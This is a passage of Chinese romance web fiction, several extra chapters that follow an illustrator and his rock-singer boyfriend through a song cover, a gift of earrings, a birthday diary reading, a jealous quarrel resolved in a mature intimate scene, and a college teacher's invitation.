“《瑶台镜》。”庄明越鼓起勇气,虽然他唱歌不走调,但毕竟没有专业练习,只是普通人的水平,“我想翻唱,发网上支持一下你。”
费臻的眼睛瞪大了一点。
那表情,庄明越从没见过,费臻的表情毫不掩饰,可以说是喜上眉梢的加强版,配上他那张平时总是淡淡的稳操胜券的脸蛋,显得格外可爱。
“不欢迎?”庄明越歪头看他。
费臻回过神来,嘴角的弧度压都压不下去:“我恨不得你把我们乐队的歌全唱一遍。”
“那可太多了,我得唱到2030年去。”
“那就全唱一遍。”费臻说得理所当然,“录成黑胶唱片,留着八十岁的时候还能听。”
“八十岁?那得是多少年以后了?”
“我不管,就决定这是我的生日礼物了。”
庄明越看着费臻,胃里蝴蝶飞,胸膛兔子跳。
“好啊,你等着吧。”
30. 番外3
《瑶台镜(Cover by明月不照我)》翻唱版本在线上获得了一致好评,播放量和收藏量仅次于视角解构乐队的原版。
功劳一半在庄明越,还有一半在乐队的每个人。
众人轮番上场,对庄明越进行声乐教学。
除去费臻这个非科班出身的艺术生,冯泰毕业于美声专业,郭扬则是导演系,顾梦是主持专业,周双叶虽然是新闻传媒专业,但辅修声乐。
在众多老师的引领下,庄明越的歌声日渐趋近专业级,技巧更娴熟,情感更饱满,气息也更稳。
集中性训练一周后,他把翻唱版上传上去,看到底下的反馈,他没把这首歌搞砸,大家都很喜欢。
庄明越总算松了口气。
从这首歌开始,视角解构的乐队演出,庄明越总是作为特别来宾,坐或者站在最前排。
而顾梦和周双叶也做好了决定,几乎同时公开了和两位乐队成员的婚姻关系,有时也作为嘉宾过来观看。
这天有一场小型专场演出,算是乐队对某品牌赞助商的回馈,占地面积小,现场观众大约三百人,和先前live house的巡演一样都是站票,但气氛分外炽热。
庄明越前两天画稿画得腰肌劳损,费臻特地没有叫庄明越过来,叮嘱他好好休息,不要劳累。
但庄明越实在想看演出,于是自己偷偷订票,溜出家门,走到了人群的后排位置。
聚光灯下的罗谢有别于日常的费臻,如果要问他们有什么最大的不同,那就是百分之百的专注。
此时的费臻全身心地投入,心中只有他的音乐,歌喉也不再是平日里面对庄明越那温柔呢喃的摇篮曲。
舞台上的他,完全脱离了居家的模样,变成一团永不熄灭的火焰。
尽管已经见过很多次,庄明越却依然看得失神。
他从未用“漂亮”去形容过一个男人,即使留了长发,费臻的长相也分明是俊朗那一挂,哪怕从背影也无法认错性别。
但此刻,那张被汗水与激情浸透的脸,还有那双因专注而亮得惊人的眼睛,竟真的散发出摄人心魄的魅力,像神话里用歌声蛊惑水手的海妖塞壬,危险却又让人挪不开眼。
费臻唱到某段情绪爆发的副歌,向后仰起头,前颈紧绷又修长,灯光恰好扫过他左侧的耳垂。
那里有一颗小而圆的黑曜石耳钉,切工完美,在灯光的照射下折射出炫目的光芒。
但庄明越仍觉得不够,他想要有一副耳坠,叮叮当当地悬在费臻的耳垂,在舞台上跟着费臻的动作摇晃发光,浮夸一点也无妨。
他希望费臻戴着那样的耳饰歌唱,能捕捉并折射舞台上所有狂热的光。
费臻与台上的成员们配合默契,包括新组不久的花名嘟嘟的吉他手杜文敬。庄明越欣赏完乐队的歌,又看了一会儿二人的互动,比起网上磕的主唱×新人吉他手,这二人分明没有任何的化学反应,明明都是帅哥,站在一起不像一个图层的。
罗谢是厚涂塞壬,嘟嘟是小猪佩奇九头身同人。
庄明越垂下眼睛,睫毛颤动,藏起心里意味不明的酸涩。
谢幕时,庄明越正准备悄悄离开,费臻却看了过来。
庄明越和他的视线对个正着,就知道完了。
果然,当晚,费臻以庄老师不遵守费医生的医嘱为由,勾引庄老师主动拥吻十分钟。
起初庄明越有种被抓包和被迫亲恋人的羞耻感,但当嘴唇触碰后,他很快忘了这些感觉,心里想的是太好了。
舞台上绚烂夺目的人,却放软了全身,在沙发上任他亲吻,真是太好了。
但庄明越没有忘记心里的正事。
第二天费臻照例去排练,庄明越去医院做了腰部的理疗,结束后逛了逛附近的画材店,又拐进了隔壁的手作饰品店。
他还在养窝窝时就注意到这家店的存在,只是隔着玻璃橱窗看到里面的标价,觉得太贵,从来没有进去看过。
他第一次踏入店铺,在一堆繁杂的商品里,一眼看中了一对款式亮眼的银质耳坠,点缀着不知名的漂亮宝石。
两边的款式并不一样,一边是月亮和星星,另一边是成对的蝴蝶,比普通的耳坠稍大一些,都做了蛋面宝石镶嵌。
尽管只在一个角落里,也亮晶晶的,十分华丽。
身形修长的厌世脸男店主走了过来,打开了正上方的灯带。霎时间,流光溢彩。
他介绍时的声音淡淡的:“是女款噢,偏华丽的,蝴蝶是蓝月光石,月亮星星是彩光的月光石,您可以挑来送您女朋友。”
“男朋友呢,可以戴吗?”
“什么?”
“送给男朋友。”
“请问是谁的男朋友?”
“我的。”
面对庄明越分外坦荡的眼神,店主也跟着坦荡了起来,想了一想,说:“也有类似款式买去送男生的,像演出之类的正式场合戴都很合适的噢……不对,你是不是画画的明月老师?!”
庄明越点点头。
店主脸上的寡淡感退却,缓缓地露出了惊愕的表情,脸一点一点红了起来。
庄明越:“请问,哪里有问题吗?”
“明月老师其实我特别喜欢你的小兔子画!”店主表情忸怩地打开手机锁屏,“昨天我还问过你做屏保的授权,你也回复我了,还记得吗?这对耳坠是要送给罗谢吗,莫非是定情信物?这是我手工做的,收个成本价,工费就免了……”
“就实价吧,手工成本也是成本,”庄明越松了一口气,婉拒了店主的好意,“谢谢你的喜欢,最近我还会更新更多作品,谢谢你的关注。”
“那太好了,我狠狠期待住了!”店主露出灿烂的笑容,小心地帮庄明越打包,用一个深蓝色的丝绒盒子装好。
小小的盒子,却沉甸甸的。
庄明越本来想等费臻下个月生日,或者下一个节日送出去。
这是庄明越第一次和人交往,给人送礼物,他总觉得就那么顺手送出去,感觉有些轻率。
可惜,他藏东西的技巧实在拙劣。
没过两天,费臻翻找顾梦落在这里的鸡屎兜子,一抽电视机抽屉,老旧的抽屉塌了,深蓝色的小盒子就这么滚了出来,落在木地板上,发出啪嗒的声响。
两人同时愣住了。
费臻弯腰捡起盒子,眉梢微微一挑,看向客厅中央红了耳朵的庄明越。
费臻挑眉:“你藏的求婚戒指?”
庄明越听了,感觉小死了第二回。
他上前一把夺过盒子,又像烫手山芋一般迅速地重新塞进费臻怀里,不敢看费臻的眼睛:“逛街随便买的,不喜欢可以扔了。”
“我怎么会舍得扔你送的东西。”费臻捏着小绒布盒,指尖摩挲过表面柔软的纹理,“可以现在打开吗?”
庄明越目光瞥向费臻,点头。
费臻打开盒子,看到里面静静躺着的漂亮耳饰。
费臻看了很久,久到庄明越问他:“是不是不合你心意,要不还是扔……”
“喜欢的。”费臻的语气很郑重,“你送我耳坠,在我心里和戒指没什么区别。”
不等庄明越回答,他把盒子递给庄明越,撩开耳边的黑发。
“帮我戴上,我要戴着出门。”
“现在?很夸张的款式,我是想,你在舞台上化了妆可以戴。”
“谁规定现在不能戴?”费臻已经自顾自地靠近庄明越,唇角的笑意压不下去,“还是说你不想帮我?”
“我没戴过耳钉,怕你会痛。”
“不会痛的。”
“真的?”
“嗯,耳洞长好了不发炎,不会有痛觉,而且你也不会戳痛我。”
“好吧,但愿如此。”
庄明越从盒子里取出了耳坠,一手捏住费臻的耳垂,一手捏着耳针。
他战战兢兢地捏着耳针,像在拆弹一般地谨慎对准耳洞,缓缓推入。
费臻一动不动,任由他摆布,只有垂下的睫毛轻轻颤动,像蝴蝶扇动翅膀,在庄明越心里扇起一阵飓风。
“好了。”庄明越塞好第二条耳坠背后的透明小塞子,松了一大口气,呼噜了一把费臻的长发,倒在了沙发上,“照镜子去吧,我要休息休息。”
费臻抬手摸了摸耳垂下的碎银和月光石,手感温润,耳饰随着他的动作轻轻晃动,折射着窗外照进来的自然光,在
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他颈侧投下细碎晃动的光斑。
他走到玄关的穿衣镜前照了照,然后回头,对庄明越说:“走吧。”
“去哪?”
“买菜,冰箱空了。”
庄明越给费臻戴完耳饰,精神上感到了疲惫。
如果说费臻生来适合舞台,那庄明越更倾向于躲在镜头之外,他对现实的人和事都容易疲乏,更适合和小动物产生情感联结,可费臻却一头扎进了他孤零零的人生。
扎进来的费臻现在说要戴着庄明越送的舞台妆造限定版耳饰去买菜。
庄明越瘫在沙发上,全身无力地发问:“不能叫配送吗?”
“我喜欢自己挑,特别是白萝卜这种,能挑到很多奇奇怪怪很可爱的形状。”费臻回答,“买菜是我除了玩音乐以外最大的爱好。那你休息,我一个人去?”
庄明越想了一下,从沙发上爬起来换衣服。
费臻戴着亮闪闪的月光石耳坠,和庄明越一起逛超市。
一路上,回头率果然激增。
费臻个子高挑,打扮随性,一对耳坠在行走时明暗交替地闪烁,中和了眉宇间的淡漠,增添了几分不羁的精致感。
不少目光明里暗里地投过来。
庄明越跟在他身边,感觉那些视线也若有若无地扫过自己,浑身不自在。
他忍不住压低声音:“早知道不送了,都在看你。”
好招摇,像花孔雀开屏,他开始觉得,还是小小的黑曜石耳钉更好。
费臻正从货架上拿下一盒富硒鸡蛋,闻言侧头看他,忽地笑了。
他一手拿着鸡蛋,凑近庄明越,和他挨着肩膀说悄悄话:“大部分是在看你。”
庄明越像被烫到一样往后缩了缩,瞪大眼睛:“怎么可能!”
他有什么好看的?一身普通休闲装,头发好久没剪了,跟旁边这个仿佛自带聚光灯的家伙比起来,根本就是背景板。
费臻把鸡蛋放进购物车,空出的手伸过来,两指轻轻捏住庄明越的两颊,稍稍用力,让他转过脸来正对着自己。
“脸这么小,身体比例这么好,帅而不自知是吧,明明长得比我都好,装什么清纯小白菜?”
碍于几公分的身高差,庄明越被迫仰着脸,嘴巴也被挤成了一个o型,近距离对上费臻深邃的眼睛和那对微微晃动的耳坠。
费臻耳垂下的蝴蝶好像飞到庄明越的心口,他的脸腾地热起来,拍开费臻扣着他脸的手,急速退开两步:“你才清纯!你眼睛没毛病吧,我比你帅?赶紧挑你的白萝卜去!”
费臻收回手,推着购物车往前走,摇了摇头,语气里是明晃晃的无奈:“服了,这里有个人生下来没照过镜子。”
走了两步,又回头补充一句,“回头给你买一墙,把你按在镜子上,让你使劲照。”
庄明越怎么听怎么别扭,心里像憋了一团气,快步走到费臻前面,留给对方一个后脑勺。
买完生鲜蔬菜,去饮料区,经过超市服装区穿衣镜时,庄明越下意识地瞥了一眼。
帅?哪里帅?
妈妈去世的时候他还小没长开,他爸又总说他长得随妈不好看,以前学校里的人见了他都绕着走,说他孤僻不合群,脸上没表情,怪怪的,吓人。
再长大点,有人向他告白,他也觉得对方是真心话大冒险输了被推出来完成挑战。
活到二十几岁,和他亲密接触过的只有窝窝,它生前最爱做的就是吃饱喝足后踩着软软的海绵小楼梯跳到床上,精准降落到他怀里,舔他的鼻子。
也只有费臻这个奇怪的家伙说他比他帅。
庄明越不禁思考起来,费臻到底喜欢他哪里?自从平安夜亲完以后,总是隔三岔五偷亲他,现在连招呼都不打了。
庄明越停下脚步,对着镜子,伸手扒拉了一下自己的头发。
好像是该剪剪了,回头问问费臻,哪里做造型好一点。
他得好好倒腾自己,以免被人说罗谢挑男朋友的眼光有问题。
走在庄明越身后几步远的费臻,看着他那小动作,嘴角的弧度又深了些,指尖无意识地碰了碰耳垂下的银光。
下一次上台之前,他还想让庄明越帮他戴上。
31. 番外4
想看费臻的日记!
这个念头在庄明越的心头顽固地盘踞了许久。
也不是什么偷窥欲,毕竟费臻在过去的一段时间里,手帐本一度对庄明越开放,只是后来突然不给看了。
庄明越很想知道,在一起之前,费臻到底是怎么想的。
经过之前讨论谁更帅的事,他心里越发打起鼓来,确实不知道费臻喜欢他哪里。
哪怕费臻说就喜欢他不太正常的丧丧的样子和崩溃的痛哭,庄明越也认了。
费臻对这种事好像还挺害臊,每次庄明越拐弯抹角地问,费臻就转移话题,或者干脆把庄明越按在沙发上亲一顿,亲到他什么都忘了为止。
但庄明越没忘,他向费臻偷师,学会了费臻的软磨硬泡,最终得到了五年日记的二次阅读权。
这天赶上费臻的生日,但他执意不吃蛋糕,只是叮嘱庄明越早一点回家一起过。
庄明越参加完朋友银色风暴的雕塑展,中午回来后和正要出门的费臻打个照面。
“临时有事?”庄明越问,“什么时候回来?”
“晚饭以前。”费臻托起庄明越的正装领带,在淡紫色的领带尖尖亲了一口,又往庄明越手里塞了他心心念念的日记本,“想看就看吧。”
费臻说完,飞快地出了门。
动作之快,差点把耳根的红晕都落在家里。
庄明越目送费臻光速离开,笑了一笑,翻开了日记本,很快愣住了。
和之前不同,本子里的大片空白被填满。
那些曾经因为住院和复健空白的地方,如今密密麻麻写满了字,有的地方还画着小画——
骨折的腰椎骨头横截面,估计参考过相关教材书,画得很专业,旁边标注着“L3爆裂性骨折”。
窝窝小号的微博头像,几乎一比一复刻,边上还有了窝窝本尊肖像小画,传神的白色毛毛脸,灰色的小鼻头。
绿色小垫子的速写,连豆豆绒的圆形凹凸都画了出来。
一把破掉的吉他,琴弦崩坏,琴身裂开一道大口子,旁边画着一堆抽象的木屑和一颗破裂的爱心。
庄明越的手指轻轻抚过那些小画,眼眶有点热。
原来,费臻最近遮遮掩掩地问他要水彩颜料和画笔,是在补日记和日记上的画。
庄明越能想象费臻做这些时的样子,他一定是把用手机备忘录记录的碎片,一笔一画,重新抄进这本五年日记里。
庄明越一页一页往后翻。
翻到去年快年底的时候,他的手指顿住了。
那是费臻不让他继续看日记的那段时间,页面上密密麻麻写满了字,密度比平时写的日记高一大截。
【今天庄明越又对我笑了。】
【到底是谁臭着脸把亲手做的盒饭递给我,让我不吃就倒掉?我怎么舍得倒。】
【小月亮说谢谢我,喜欢和我一起住。】
【今天他哭了,我抱了他。他哭的时候我也会想哭,我该怎么帮他?】
【他问我如果他一直好不起来,我会不会走。我不会走的,但我是个坏人,如果他知道真相,未必还会要我。】
【最近他的状态有了明显好转,该不该和他坦白,我怕说了又会刺激到他。】
【完了。亲到了。】
【好喜欢他,不能让他知道,又想让他知道。】
【不敢让他看到这些。太丢人了。】
再往后翻。
【今天也喜欢他。】
【非常喜欢,写歌的时候脑子里全是他。】
【说了就连朋友都做不成了。】
【分房睡也好,不然抱着他容易顶到他。(划掉)】
【越来越多的人看到你了,这对我而言不是好事,但你需要很多很多来自他人的爱,才能把心填满,我了解。】
【你能不能只做我一个人的小月亮。】
【你别对我笑,我怕舍不得离开你。】
【今天小月亮又问我为什么不让他看日记。我差点说了。不能说。】
【他会不会觉得我很奇怪?】
【我为什么会变得这么脆弱?这不像我。】
【我好害怕他离开。】
“我好害怕他离开”。
庄明越盯着那行字,盯了很久。
眼眶越来越热,有什么东西在眼眶里打转。
他吸了吸鼻子,拿起手机,给费臻发了一条消息:【什么时候回来?】
费臻秒回:【快了,还有半小时。怎么了?】
庄明越:【没事,等你。】
半小时不到,门锁响了。
费臻推门进来,手里拎着一盒小小的四寸蛋糕。他家开食品厂,小时候吃了太多巧克力奶油蛋糕,导致被齁嗓子的甜腌入味,成长过程中一直被人叫巧克力少爷,长大后再也不想吃甜食,但他希望庄明越可以吃他的生日蛋糕。
他看到庄明越坐在沙发上,脸上带着泪,膝盖上摊着那本日记本。
费臻放下蛋糕,大步走到庄明越身旁坐下,把人抱住。
“你看了?全看完了?”
“费臻。”庄明越抬起头,看着他,眼睛有点红,又叫了一声,“费臻。”
“怎么哭了,是不是我写了什么坏话让你难受了?”
庄明越没说话,只是看着他。
看了很久。
久到费臻开始有
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点慌:“我道歉,你别哭——”
“费臻。”庄明越打断他。
“嗯?”
“我不会走的。”
费臻愣住了。
庄明越趁他发愣,亲了他一口:“不管你在害怕什么,我都不会走的。”
他顿了顿,深吸一口气,叹息般地呢喃,“我又能走到哪里去呢?这里就是我们的家,我们的生活,我想和你一起度过每一天……今天是你生日,除了祝你生日快乐,还有一句,我爱你……我超级爱你的。”
费臻的眼睛瞪大了。
那表情,庄明越见过一次,就在不久前,在他说要翻唱《瑶台镜》的时候。
和那次一样,费臻的表情着实可爱得要命。
“真的吗?”费臻问,声音完全沙哑了,偏清亮的声音霎时间变得又低又带着磁性。
“比月亮还真。”
费臻盯着庄明越看,须臾之间,变成了掩饰不住的笑。
“笑什么呢?”
“证明给我看。”费臻说,声音低低的,带着一点坏,“有多爱?”
庄明越还没反应过来,被费臻压进了沙发里。
……
不知过了多久,庄明越总算又活了过来,靠着沙发大喘气。
费臻趴在他旁边,胸口还在起伏,但脸上的表情已经恢复了平时的温和。
他侧过头,看着庄明越那副被已被掏空的样子,抿住嘴唇轻笑了一会儿。
“是谁腰不行?”他又重复了一遍。
庄明越用尽最后一点力气,翻了个白眼。
费臻笑出了声,伸手把他捞进怀里。
“下次还敢不敢再说了?”
庄明越想说话,但嗓子已经哑了。
他只能摇摇头。
费臻满意地亲他的额头。
“乖。累不累,休息一下?”
庄明越哼了一声,在他怀里,闭着眼睛,心里默默思考。
下次还敢蛐蛐费臻的腰。
但是得先练练他自己的腰,最好全身上下都练一遍,他不能总被费臻带着走。
他也想看费臻沉迷着向他祈求的样子。
庄明越在费臻怀里挣扎着翻了个身,调整睡姿。
“我休息一会儿,半小时以后喊我吃蛋糕。”
“好。”
庄明越的嘴唇弯了一下,合上眼,在费臻的怀里睡着。
窗外的月亮才刚刚升起来,月辉散落在窗边,和着风声,在树影下一浪又一浪地轻摇。
费臻低下头,看着已经半睡过去的人,垂手摸过庄明越的睫毛,眼底的笑意慢慢变成了另一种东西。
比月亮还真。
32. 番外5
去年年底,视角解构的三个人紧急开了个小会,把招募新吉他手的事项给启动了。
也是运气好,冯泰的学院里有个应届毕业的学弟杜文敬,正好各方面都很合适,四人磨合到了这年春天,杜文敬正式出道。
很快,所有人都喊起了杜文敬的花名嘟嘟。
他人如其名,长了张痞乖痞乖的脸,介于少年与男人之间的气质,弹得一手灵气十足的吉他,刚来没多久就圈了不少粉,连乐队官微底下都热闹了几分,连带费臻都受到调侃,说嘟嘟分走了他颜粉的半壁江山。
几个月下来,众人和杜文敬混得好得像穿同一条裤子。
惺惺相惜,夜猫知夜猫。
嘟嘟白天不爱动弹,夜色降临开始活动,昼伏夜出,爱在晚饭饭点前后给费臻发消息,问些乐理上的问题。
费臻对他还算耐心,毕竟是三人一致看好的新人苗子,有时正和庄明越吃着饭,手机一震,他瞥一眼,也会拿起回几句语音。
这天庄明越和费臻吵了一架。
也没什么大事,费臻前两天去游泳,回来耳孔发炎,非要戴着庄明越送的耳坠演出。
庄明越怕耳坠重,担心炎症加剧。
一来二去,小吵升级,上学时的陈芝麻烂谷子全翻出来,连带把赵唐和陈子深都挖出来骂了好几遍。
庄明越看着费臻的耳垂,肿得像两颗毛桃,好不容易逮着又绕着楼梯乱窜的费臻,给他涂了消炎的软膏,这人的耳朵总算有了好转。
“让我注意身体,你自己又不爱惜!犟种!”
“没听说耳垂发炎会死人的。”
“不会死就能放任它继续恶化?那我现在往手上划一刀不去管它是不是也行?”
“庄明越!”
“你凶什么?”
“我没有凶……你别划。”
“那你先把你的耳垂养好了。”
“……知道了。”
吵了一顿,还是一起挤到厨房做饭,肩膀贴着肩膀,把盘子端上餐桌。
二人吃着饭,正互相有意无意地偷瞄对方还有没有在生气,嘟嘟的语音请求弹了出来。
费臻走到阳台去接,庄明越坐在餐桌前,食不知味,慢慢把筷子放下,抱起手臂等费臻一起吃。
一刻钟后,费臻回来了,见庄明越在等他吃饭,试图缓和气氛:“都没吃几口,胃口不好?”
庄明越有点偏头痛,摇头说:“饱了。”
拿了碗筷,刚要起身,费臻扣住他手腕。
“还在生气?”费臻妥协地退了一步,“行,我答应你不戴耳环上台了,你别气了,我只是迫不及待想让大家都看看你送我的东西。”
“……爱戴不戴。”庄明越心头一酸,头痛得更厉害,蹙眉甩手腕,“松开。”
“连手都不让我摸了?这么生气?”费臻顺势把庄明越端着碗筷的另一只手也给扣住,“小庄,你最近脾气挺大的,我哪里惹到你了,你说?”
“我脾气大?好好好,你去接着指导新人去,人家等着呢。”
“那是工作。”
“工作需要挑晚上吃饭的时间,一次次打过来?”
“他就这个点起床练习,通话里说清楚总比赶到排练室教两个小时好啊?”
“你赶紧松手,再不松开我咬你了!”
费臻闻言把手松开,庄明越顺势溜走,转身去厨房水槽放下碗筷。
费臻顺手收了餐桌上的盘子,都是庄明越报的菜名,现在只动了几筷子,放得住的菜进冰箱,放不住的只能喂给垃圾桶。
费臻拧着眉摇头:“庄明越,你可真是我冤家。”
庄明越动作一顿,抬脚往卧室走。
费臻把餐盘冲水放进洗碗机,听到卧室远远飘来一句:“你要是现在觉得我们不合适,还来得及。”
费臻揉了揉眉心,跟着走了过去:“老话怎么说来着,不是冤家不聚头。”
“谁要跟你聚头。”庄明越声音闷闷的,手下用力抖着自己的被子,想把被子上晕开的眼泪甩掉,眼眶和鼻子尖都红了,“找你的嘟嘟聚去,他肯定特别合适。”
费臻这下真听出点味儿来了。
他靠在门框上,抱臂看着庄明越和被子搏斗,本就不多的火气散了,取而代之的是逗弄的心思。
“庄明越,”他慢悠悠地开口,拖长了调子,“原来你在吃小杜的醋?”
“什么小度,我还天猫精灵呢!走开你这个烂耳朵,别烦我!”庄明越猛地转过身,耳朵尖通红,抓起一个枕头就砸过去。
费臻单手轻松接住枕头,笑意止不住。
“别哭了,我真的没想到……”
庄明越被费臻笑得跳脚:“你这个坏东西!你还笑得出来!”
“冤枉我了,我对除了你之外的男的没有任何兴趣,我以后注意,不在吃饭时间回他消息,也不让耳朵发炎,行不行?”
费臻走上前,把枕头放回床上,伸手想去搂庄明越。
庄明越却躲开了他的手,抬眼瞪他,眼神里除了怒气和委屈,还有一点发狠,看起来和平时沉郁又安静的表情完全不一样。
“你在哄我?”
“哄一哄掉眼泪的男朋友,不过分吧?你是我唯一的男朋友,我不哄你哄谁?”费臻微微倾身,侧头看庄明越的表情,很认真地许愿,“前两天的生日愿望作废,我不要火遍全球了,只希望你快乐。”
“……生日愿望说出来就不灵了。”庄明越沉默了很久,轻声说,“还是火遍全球吧,你不许愿我也能快乐。”
“真的?”
“嗯,很好做到。”
庄明越和杜文敬几乎是同步地展开生活日程,只不过杜文敬是加入是乐队排演,庄明越则是加入了费臻的健身行列,就在费治当教练的健身房。
在费治的专业指导下,庄明越的体质和肌肉群有了明显的提升,有时候晚上一起睡觉,费臻都会无意识地惊醒一下,确认怀里抱着的是不是去年那个肋骨硌着他手臂的庄明越。
费臻听到“很好做到”这四个字,心里颤了一下,觉得今晚这事儿可能没那么容易过去。
果然,庄明越接下来的动作,完全超出了费臻的预料。
他没再说话,只是忽然伸手,攥住了费臻的衣领,猛地将他拉向自己,带着不容置疑的决绝。
费臻被这突如其来的主动和凶猛弄得一怔,但很快反应过来,反客为主地加深了这个吻。
吻到两人都气喘吁吁,庄明越才停下退开,平日忧郁的眼睛升起了黑亮的燥意:“费臻,可不可以?”
费臻知道他在征求什么允许,唇角勾了起来:“你要是有这个本事,那就试试看啊。”
庄明越听了,将人推在被子上,倾身吻他。
费臻看着庄明越被怒意烧得发亮的眼睛,还有吻毕又狠狠咬紧的下唇。
“别咬着嘴,会疼。我用自己赔罪,好不好?”
“这不是赔罪。”
“那是什么?”
“是和好。”
“那更好。”
费臻更加放松了一点,语气和表情都十分配合,嘴角噙着一丝玩味的笑,从容地等待着,想看看他这个平日看起来安静沉默到有些被动的恋人,到底能做到哪一步。
很快,费臻就笑不出来
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了。
进攻毫无章法,凶狠异常。
所有负面的情绪都倾注在了这场亲密关系中。
嫉妒、压制、独占欲。
“你慢慢来。”费臻试图掌握一点节奏,声音已经有些变调。
庄明越置若罔闻,认真地垂着头看费臻,沉郁的眼睛里翻涌着费臻从未见过的攻击性。
尽管吃痛,费臻却笑了起来。
那是庄明越过去藏得很深的东西。
是生命力,他很喜欢。
他就要庄明越就这样痛痛快快地活下去。
他的笑意落在庄明越的眼中,令人在他耳畔低语:“费臻,我爱你。”
至此场面完全失去了控制。
庄明越画画时稳定的手,此刻力量大得惊人,托住他的后脑勺的同时,却又贴心地避开了他还在隐隐发痛的耳垂。
“你……嗯……”费臻话都说不利索了,只能被动承受。
太凶了,庄明越。
这家伙的醋劲居然能这么大,是铁了心要把他拆散架吗?
“我要坏了……小月亮……明越!”
庄明越骤然停住,悬在费臻上方,汗水顺着下颌线滴落。
他低头,看着费臻泛红湿润的眼角,失焦的眼神,喉结滚动了一下,声音却冷静到显得冷淡:“不会坏的。”
静水流深。
庄明越闭上眼睛,安抚地低声道:“坏不了的,你可是罗谢。”
这句话彻底刺激到了费臻,他猛地闭眼,喉间溢出一声低吟。
又过了一个小时,费臻侧过头看向躺在旁边平复呼吸的庄明越。
费臻引以为傲的嗓音已经完全沙哑:“四次,整整四次。庄明越,你是没拆蛋的狗吗?”
庄明越眼皮都没掀,嘴角勾了一下,声音带着事后的慵懒:“注意素质,换个比方。”
此刻的庄明越闭着眼睛,面色红润,模样姣好,无欲无求,像一尊端庄的神像,供人朝拜敬仰。
任谁也想不到前两个小时竟是另一副面孔。
费臻长长吐出一口气,怀疑人生道:“从脸蛋到身材,从性格到脾气,我一直以为你是草食系的,是枕头公主,即使八百年主动一回,也会温柔得能滴出水。没想到啊,庄明越行啊庄明越,真人不露相。”
庄明越这才慢慢睁开眼,侧过身,手臂搭在费臻汗湿的腰腹上,指尖无意识地轻轻划着费臻后腰的伤疤。
刚才他一直很想亲这里,但因为是第一次,他需要全程和费臻正面相对,看到对方所有的表情,没能有机会,只好留到下次再亲。
庄明越语气郑重地说:“因为对象是你,无论你什么样子,我都想看,也看不够。”
费臻定定地看着他,看了好几秒。然后,他嗤笑一声,伸出手勾住庄明越的后颈,将他拉向自己,额头抵着额头。
他低声道:“服了你了。好啦,我知道了,有些话你不用说,我能明白你。”
两人气息再次交融,温柔而绵长。
吻毕,庄明越起身收拾残局,将二人身上搭着的四件物品一一打结丢掉,又从浴室拧了热毛巾,给费臻擦擦。
“你太累了,就这么睡吧,明天我再换床单。”
“那今晚不和你卧谈会了。”费臻闭着眼,身上被盖满了印,“又急又凶,又不是下回不让你来了,真是我冤家。下回不许四回了,最多连续两回,衣服遮不住的地方不许留痕,听到没有?”
庄明越应了一声,翻身上床,更紧地搂住了费臻。
窗外夜色渐深。
费臻在入睡前想,该在乐队定个“非紧急勿扰”的规矩了。
33. 番外6
庄明越这段时间有点累。
怪就怪他接受了银色风暴的挑战,几个画画的共友拉了一个小群,挑战用最短的时间完成最大量的高完成度画稿。
稿子排在一起,庄明越每天两眼一睁欠世界二三十张画,从睁眼画到闭眼,除了吃饭上厕所和费臻接吻,几乎没离开过画架。
这种感觉让他想起窝窝最后重病的那半个月,画不完的画,结不清的费用,还有那种被生活追着跑的窒息感。
但不一样的是,他现在可以停下来。
挑战完成,他得了第一,在朋友们的恭喜声中把画稿橱窗撤了,并在小群里发了拼手气红包和一条:【下次不参加了,累。】
庄明越把手头的画完成后,给自己放了个假。
说是放假,其实也就三天。
第一天,他睡到自然醒,在床上赖到中午,还和费臻互相磨蹭了一下。
第二天,他把家里彻底打扫了一遍,很意外地在费臻的日记本里发现了一根黑色的胡须。
从手感、颜色和长度来看,庄明越完全确信,这根胡须不属于过来寄养的笨笨和金币,就是他家窝窝的。
费臻说:“小兔鬼和我们一起搬家了。”
庄明越笑了一下,把它放进了专门装窝窝胡须的长条玻璃瓶里,双手合十拜了一拜。
第三天,庄明越开始刷手机,看别人的画。
庄明越从沙发上转头,看餐桌上正在写歌的费臻。
“风暴姐的画技好惊人,什么时候我能像她一样好?”
费臻听庄明越听过好几次银色风暴,也知道她在工艺美术圈子里非常有名,说:“顾心磐老师是省内知名的传奇人物,什么材质的雕刻都能驾驭,像她这样的全才,画画也是共通的。”
“那你呢?你的摇滚和她的雕刻,谁更胜一筹?”
“当然是我厉害。”费臻顿了一下,“不,其实还是她厉害,她家境贫寒,少年时代就靠自己成名,而我小时候三天打鱼两天晒网,我妈花了很多钱和工夫请老师给我培训,论天赋、心智和努力,我比不过她。”
庄明越蜷起手脚,感受了一下费臻的诚实,以及凡人和天才的差距,更加不愿意放下手机。
费臻起身,从背后走过来,把他手里的手机抽走。
“不是说放假吗?让大脑好好放空一下,你今天都多久没休息了?”
庄明越抬起头,看着他。
“手痒,想画画。”
“昨天还发誓这周不碰数位板,就碰我,你想赖账?”
“不能都碰吗?”
“上周你有多少次亲我亲到一半,去回单主的消息,你自己数过吗?”
“我错了……”庄明越伸出手指,在费臻的腹肌上画圈打转,“那我就是手痒,怎么办啊。”
“手痒就出去看画。”费臻在庄明越旁边坐下,“我们学校近期有个画展,想去看看吗?”
庄明越愣了一下:“我俩的大学?”
“嗯。”费臻点点头,“校友展,规模不大,但听同学说有好几幅不错的。”
庄明越看着费臻,想起一件事。
“你毕业以后,回过学校吗?”
费臻沉默片刻,回答:“没有,你知道为什么。”
庄明越没再问,但有些理解费臻为什么不回学校。
不是因为不想,是因为那些年的记忆太复杂。
“你要是不想去学校看画,我以后就不提了。”费臻说。
“没有啊。”庄明越摇头,“我都想看。”
费臻看着他,眼底重新有了笑意。
“好。”
费臻上午刚说完画展的事,下午庄明越就收到了电话,是大学时期的班主任张老师打来的。
张老师是庄明越大学时对他最好的老师,一位严厉与温柔并存的女老师,在领导那里是刺头,但真心真意地为学生着想。
当年陈子深那件事,张老师帮庄明越查过监控,也找过校领导,虽然最后没能挽回什么,但那份心意,庄明越一直记得。
张老师说,想邀请庄明越参加半个月后的毕业生校友展,放一幅庄明越的作品。
庄明越反问道:“张老师,您忘了吗,我已经退学了,不算毕业生。”
“退学了就不是我学生了?我想让现在的学生也看看你的画。”张老师温和地说,“当然只是问问你的意思,不需要勉强。”
张老师又问:“还有件事,你有没有兴趣重新考回学院?”
她透露道,“现在领导大换血,以前无视和为难你的副校长和主任都已经调走了,还有一个进去了。”
庄明越卡了一下,不知道说什么。
重新考回去,把大学读完?
